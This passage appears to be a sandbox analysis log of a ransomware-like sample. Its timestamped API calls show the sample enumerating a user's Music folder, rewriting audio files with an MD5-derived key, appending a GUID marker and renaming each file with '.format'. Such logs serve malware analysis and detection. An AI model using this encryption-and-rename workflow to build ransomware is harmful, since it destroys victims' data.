lpUsedDefaultChar=0x0) returned 41 [0067.866] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.866] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.866] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.867] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.867] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.867] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.867] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.867] CloseHandle (hObject=0x5c8) returned 1 [0067.868] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac1b0 [0067.868] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x890) returned 0x3178dd8 [0067.869] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac1b0 | out: hHeap=0x5d0000) returned 1 [0067.869] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C04Fzue-Z7KVyl_\\m09KxI.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c04fzue-z7kvyl_\\m09kxi.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C04Fzue-Z7KVyl_\\m09KxI.wav.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c04fzue-z7kvyl_\\m09kxi.wav.format")) returned 1 [0067.869] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.869] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0067.871] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb11b8220, ftCreationTime.dwHighDateTime=0x1d4d053, ftLastAccessTime.dwLowDateTime=0xf65da40, ftLastAccessTime.dwHighDateTime=0x1d4cd09, ftLastWriteTime.dwLowDateTime=0xf65da40, ftLastWriteTime.dwHighDateTime=0x1d4cd09, nFileSizeHigh=0x0, nFileSizeLow=0x17c78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XSe4rk8zSjxa.m4a", cAlternateFileName="XSE4RK~1.M4A")) returned 1 [0067.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.871] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa6) returned 0x315d2d0 [0067.871] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.871] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C04Fzue-Z7KVyl_\\XSe4rk8zSjxa.m4a") returned=".m4a" [0067.871] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C04Fzue-Z7KVyl_\\XSe4rk8zSjxa.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c04fzue-z7kvyl_\\xse4rk8zsjxa.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.871] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=97400) returned 1 [0067.871] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.874] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x17c52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.874] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.875] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.875] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.875] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.875] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x17c78, lpOverlapped=0x0) returned 1 [0067.876] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.876] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.876] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.876] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.876] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.877] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.877] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.877] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.877] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.877] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.877] GetLastError () returned 0x0 [0067.877] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.877] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.877] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.878] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x17c80) returned 0x32b2f40 [0067.878] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.878] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.878] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x17c73, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x17c73, lpOverlapped=0x0) returned 1 [0067.879] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.879] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x17c78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.879] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.879] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.879] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.879] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.879] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.879] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.879] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.879] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.879] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.880] CloseHandle (hObject=0x5c8) returned 1 [0067.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0067.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8a0) returned 0x3178dd8 [0067.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.881] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C04Fzue-Z7KVyl_\\XSe4rk8zSjxa.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c04fzue-z7kvyl_\\xse4rk8zsjxa.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C04Fzue-Z7KVyl_\\XSe4rk8zSjxa.m4a.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c04fzue-z7kvyl_\\xse4rk8zsjxa.m4a.format")) returned 1 [0067.882] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.882] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.883] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0067.883] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb11b8220, ftCreationTime.dwHighDateTime=0x1d4d053, ftLastAccessTime.dwLowDateTime=0xf65da40, ftLastAccessTime.dwHighDateTime=0x1d4cd09, ftLastWriteTime.dwLowDateTime=0xf65da40, ftLastWriteTime.dwHighDateTime=0x1d4cd09, nFileSizeHigh=0x0, nFileSizeLow=0x17c78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XSe4rk8zSjxa.m4a", cAlternateFileName="XSE4RK~1.M4A")) returned 0 [0067.884] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.884] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0067.884] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31756e8 | out: hHeap=0x5d0000) returned 1 [0067.884] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.884] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.884] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.884] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\") returned="c8v-4o\\" [0067.884] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0067.884] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.884] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.884] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.884] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.884] PathFindFileNameW (pszPath="") returned="" [0067.884] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e9c930, ftCreationTime.dwHighDateTime=0x1d4cd8e, ftLastAccessTime.dwLowDateTime=0x3ebbc700, ftLastAccessTime.dwHighDateTime=0x1d4c9ee, ftLastWriteTime.dwLowDateTime=0x3ebbc700, ftLastWriteTime.dwHighDateTime=0x1d4c9ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.884] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.885] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e9c930, ftCreationTime.dwHighDateTime=0x1d4cd8e, ftLastAccessTime.dwLowDateTime=0x3ebbc700, ftLastAccessTime.dwHighDateTime=0x1d4c9ee, ftLastWriteTime.dwLowDateTime=0x3ebbc700, ftLastWriteTime.dwHighDateTime=0x1d4c9ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.885] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5c41760, ftCreationTime.dwHighDateTime=0x1d4c5ab, ftLastAccessTime.dwLowDateTime=0xb5fc6ff0, ftLastAccessTime.dwHighDateTime=0x1d4c5fb, ftLastWriteTime.dwLowDateTime=0xb5fc6ff0, ftLastWriteTime.dwHighDateTime=0x1d4c5fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3m1P", cAlternateFileName="")) returned 1 [0067.885] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52622a50, ftCreationTime.dwHighDateTime=0x1d4cb34, ftLastAccessTime.dwLowDateTime=0x953164a0, ftLastAccessTime.dwHighDateTime=0x1d4d2db, ftLastWriteTime.dwLowDateTime=0x953164a0, ftLastWriteTime.dwHighDateTime=0x1d4d2db, nFileSizeHigh=0x0, nFileSizeLow=0xbbc3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5MaZVY_Q.wav", cAlternateFileName="")) returned 1 [0067.885] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\5MaZVY_Q.wav") returned=".wav" [0067.885] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\5MaZVY_Q.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\5mazvy_q.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.885] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=48067) returned 1 [0067.885] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.887] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xbb9d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.888] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.888] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xbbc3, lpOverlapped=0x0) returned 1 [0067.889] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.889] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.889] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.889] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac018) returned 1 [0067.889] CryptCreateHash (in: hProv=0x6ac018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.889] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.889] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.890] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.890] GetLastError () returned 0x0 [0067.890] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.890] CryptReleaseContext (hProv=0x6ac018, dwFlags=0x0) returned 1 [0067.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.890] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xbbc3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.890] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.890] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.890] CloseHandle (hObject=0x5c8) returned 1 [0067.891] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\5MaZVY_Q.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\5mazvy_q.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\5MaZVY_Q.wav.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\5mazvy_q.wav.format")) returned 1 [0067.893] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9609e4f0, ftCreationTime.dwHighDateTime=0x1d4c693, ftLastAccessTime.dwLowDateTime=0xce6a120, ftLastAccessTime.dwHighDateTime=0x1d4c771, ftLastWriteTime.dwLowDateTime=0xce6a120, ftLastWriteTime.dwHighDateTime=0x1d4c771, nFileSizeHigh=0x0, nFileSizeLow=0xb850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EFI-R.m4a", cAlternateFileName="")) returned 1 [0067.893] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\EFI-R.m4a") returned=".m4a" [0067.893] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\EFI-R.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\efi-r.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.893] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=47184) returned 1 [0067.893] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.895] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xb82a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.895] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.896] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xb850, lpOverlapped=0x0) returned 1 [0067.896] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.897] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.897] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.897] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac018) returned 1 [0067.897] CryptCreateHash (in: hProv=0x6ac018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.897] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.897] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.897] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.897] GetLastError () returned 0x0 [0067.898] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.898] CryptReleaseContext (hProv=0x6ac018, dwFlags=0x0) returned 1 [0067.898] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xb850, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.898] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.898] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.899] CloseHandle (hObject=0x5c8) returned 1 [0067.900] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\EFI-R.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\efi-r.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\EFI-R.m4a.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\efi-r.m4a.format")) returned 1 [0067.901] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d39be50, ftCreationTime.dwHighDateTime=0x1d4d190, ftLastAccessTime.dwLowDateTime=0x759cd9a0, ftLastAccessTime.dwHighDateTime=0x1d4d49b, ftLastWriteTime.dwLowDateTime=0x759cd9a0, ftLastWriteTime.dwHighDateTime=0x1d4d49b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="I1WhKlENAwKn", cAlternateFileName="I1WHKL~1")) returned 1 [0067.901] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa67d7d60, ftCreationTime.dwHighDateTime=0x1d4c6b1, ftLastAccessTime.dwLowDateTime=0x85bffb00, ftLastAccessTime.dwHighDateTime=0x1d4cd0c, ftLastWriteTime.dwLowDateTime=0x85bffb00, ftLastWriteTime.dwHighDateTime=0x1d4cd0c, nFileSizeHigh=0x0, nFileSizeLow=0x148b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tBNdu.m4a", cAlternateFileName="")) returned 1 [0067.901] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\tBNdu.m4a") returned=".m4a" [0067.901] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\tBNdu.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\tbndu.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.901] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=5259) returned 1 [0067.901] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.904] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1465, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.904] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.904] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x148b, lpOverlapped=0x0) returned 1 [0067.904] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.905] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.905] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.905] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac018) returned 1 [0067.905] CryptCreateHash (in: hProv=0x6ac018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.905] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.905] 